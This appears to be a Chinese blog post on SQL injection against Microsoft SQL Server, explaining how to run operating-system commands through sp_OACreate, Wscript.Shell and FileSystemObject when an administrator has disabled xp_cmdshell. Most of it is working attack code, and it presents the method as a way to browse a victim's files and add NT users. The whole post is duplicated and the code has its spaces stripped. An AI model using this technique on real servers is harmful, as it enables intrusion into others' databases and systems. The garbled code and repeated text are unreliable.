我的BLOG里有一篇文章介绍了关于SQL注入的基本原理和一些方法。最让人感兴趣的也许就是前面介绍的利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单,只需使用下面的SQL语句:
EXECmaster.dbo.xp_cmdshell'dirc:\'
但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险,他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名,这时侯许多人也许会放弃,因为我们无法运行任何的cmd命令,很难查看对方计算机的文件、目录、开启的服务,也无法添加NT用户。
对此作过一番研究,后来我发现即使xp_cmdshell不可用了,还是有可能在服务器上运行CMD并得到回显结果的,这里要用到SQL服务器另外的几个系统存储过程:sp_OACreate,sp_OAGetProperty和sp_OAMethod。前提是服务器上的Wscript.shell和Scripting.FileSystemObject可用。
sp_OACreate
在Microsoft?SQLServer?实例上创建OLE对象实例。
语法
sp_OACreateprogid,clsid,
objecttokenOUTPUT
[,context]
sp_OAGetProperty
获取OLE对象的属性值。
语法
sp_OAGetPropertyobjecttoken,
propertyname
[,propertyvalueOUTPUT]
[,index...]
sp_OAMethod
调用OLE对象的方法。
语法
sp_OAMethodobjecttoken,
methodname
[,returnvalueOUTPUT]
[,[@parametername=]parameter[OUTPUT]
[...n]]
思路:
先在SQLServer上建立一个Wscript.Shell,调用其runMethod,将cmd.exe执行的结果输出到一个文件中,然后再建立一个Scripting.FileSystemObject,通过它建立一个TextStream对象,读出临时文件中的字符,一行一行的添加到一个临时表中。
以下是相应的SQL语句
CREATETABLEmytmp(infoVARCHAR(400),IDIDENTITY(1,1)NOTNULL)
DECLARE@shellINT
DECLARE@fsoINT
DECLARE@fileINT
DECLARE@isEndBIT
DECLARE@outVARCHAR(400)
EXECsp_oacreate'wscript.shell',@shelloutput
EXECsp_oamethod@shell,'run',null,'cmd.exe/cdirc:\>c:\temp.txt','0','true'
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。
EXECsp_oacreate'scripting.filesystemobject',@fsooutput
EXECsp_oamethod@fso,'opentextfile',@fileout,'c:\temp.txt'
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌
WHILE@shell>0
BEGIN
EXECsp_oamethod@file,'Readline',@outout
INSERTINTOMYTMP(info)VALUES(@out)
EXECsp_oagetproperty@file,'AtEndOfStream',@isEndout
IF@isEnd=1BREAK
ELSECONTINUE
END
DROPTABLEMYTMP
EXECmaster.dbo.xp_cmdshell'dirc:\'
但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险,他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名,这时侯许多人也许会放弃,因为我们无法运行任何的cmd命令,很难查看对方计算机的文件、目录、开启的服务,也无法添加NT用户。
对此作过一番研究,后来我发现即使xp_cmdshell不可用了,还是有可能在服务器上运行CMD并得到回显结果的,这里要用到SQL服务器另外的几个系统存储过程:sp_OACreate,sp_OAGetProperty和sp_OAMethod。前提是服务器上的Wscript.shell和Scripting.FileSystemObject可用。
sp_OACreate
在Microsoft?SQLServer?实例上创建OLE对象实例。
语法
sp_OACreateprogid,clsid,
objecttokenOUTPUT
[,context]
sp_OAGetProperty
获取OLE对象的属性值。
语法
sp_OAGetPropertyobjecttoken,
propertyname
[,propertyvalueOUTPUT]
[,index...]
sp_OAMethod
调用OLE对象的方法。
语法
sp_OAMethodobjecttoken,
methodname
[,returnvalueOUTPUT]
[,[@parametername=]parameter[OUTPUT]
[...n]]
思路:
先在SQLServer上建立一个Wscript.Shell,调用其runMethod,将cmd.exe执行的结果输出到一个文件中,然后再建立一个Scripting.FileSystemObject,通过它建立一个TextStream对象,读出临时文件中的字符,一行一行的添加到一个临时表中。
以下是相应的SQL语句
CREATETABLEmytmp(infoVARCHAR(400),IDIDENTITY(1,1)NOTNULL)
DECLARE@shellINT
DECLARE@fsoINT
DECLARE@fileINT
DECLARE@isEndBIT
DECLARE@outVARCHAR(400)
EXECsp_oacreate'wscript.shell',@shelloutput
EXECsp_oamethod@shell,'run',null,'cmd.exe/cdirc:\>c:\temp.txt','0','true'
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。
EXECsp_oacreate'scripting.filesystemobject',@fsooutput
EXECsp_oamethod@fso,'opentextfile',@fileout,'c:\temp.txt'
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌
WHILE@shell>0
BEGIN
EXECsp_oamethod@file,'Readline',@outout
INSERTINTOMYTMP(info)VALUES(@out)
EXECsp_oagetproperty@file,'AtEndOfStream',@isEndout
IF@isEnd=1BREAK
ELSECONTINUE
END
DROPTABLEMYTMP